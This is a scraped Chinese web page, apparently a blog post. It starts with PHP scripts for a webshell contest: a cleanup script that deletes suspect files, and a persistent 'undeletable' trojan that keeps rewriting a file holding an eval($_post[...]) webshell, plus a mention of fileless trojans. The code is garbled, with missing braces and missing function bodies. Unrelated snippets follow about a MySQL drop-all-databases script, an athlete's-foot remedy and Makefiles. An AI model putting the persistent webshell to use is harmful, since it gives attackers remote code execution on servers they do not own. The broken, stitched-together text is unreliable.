php刪除webshell指令碼,根據檔名,檔案內容,檔案的修改時間刪除,可以暴力點,只要是新上傳,新修改的檔案,一律刪除,**自己修改
<?php
function filter($file)
//在白名單中則不過濾
if (in_array($file, $whitelist))
//讀取檔案內容
@$fp = fopen($file,'r');
@$buf = fread($fp, 512);
@fclose($fp);
//包含關鍵字不過濾
if (stristr($buf , 'hehehe'))
return true;
} function delnewinput($old, $new)
return false;
} function delfilefromdir($dir)
//獲取當前相對路徑
$url = $_server['php_self'];
//獲取檔名
$filename = substr($url , strrpos($url , '/')+1);
//開啟目錄
$handle = opendir($dir);
while (($file = readdir($handle)) !== false)
$fullpath = $dir . "/". $file;
//如果是檔案且不符合過濾規則或者是新上傳就刪除,否則遞迴呼叫
if ((is_file($fullpath) && filter($file)) || (is_file($fullpath) && delnewinput($filename, $fullpath)))
elseif (is_dir($fullpath))
}} $dir = '.';
delfilefromdir($dir);
?>
如果想迴圈刪除,可以寫個sh指令碼
#!/bin/sh
while :
do curl
done
php防刪木馬,駐留在記憶體中,當檔案不存在,就自動生成,只有伺服器重啟,指令碼才停止執行
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = './hehehe.php';
$code = '<?php @eval($_post[test321]); ?>';
while (1)
usleep(50);
}?>
php無檔案木馬,在一開始便把自身刪除,主流在記憶體裡,優點是無法檢視到木馬,缺點是重啟以後木馬就不在了
mysql刪庫指令碼 MySQL 多例項刪庫指令碼
db版本 5.5.14 os centos 6.3 在測試環境中,在一台伺服器上建立多個例項,在每個例項中乙個乙個刪庫比較麻煩,因此用下面指令碼,可以直接刪除所有庫,除了系統庫以外 bin bash mysql export servers mysql bin mysql for i in dofo...
綠茶加鹽泡腳防腳氣
大家常說的 腳氣 通常是一種真菌感染性 病,在中醫上被稱為 腳濕氣 在西醫上被稱為 足癬 在成年人中患病率極高,約佔人群的百分之七十。瀋陽市中醫院養生科主任中醫師孫曄說,夏天空氣高熱潮濕,容易滋生 癬菌,進入腳氣的高發季節。中醫預防腳氣可以注意以下幾點 1 薰 將充分曬乾的橘皮用火薰出煙,用這種菸來...
Linux Makefile與shell指令碼區別
在makefile可以呼叫shell指令碼,但是makefile和shell指令碼是不同的。本文試著歸納一下makefile和shell指令碼的不同。1 shell中所有引用以 打頭的變數其後要加 而在makefile中的變數是以 打頭的後加 例項如下 makefile path data subp...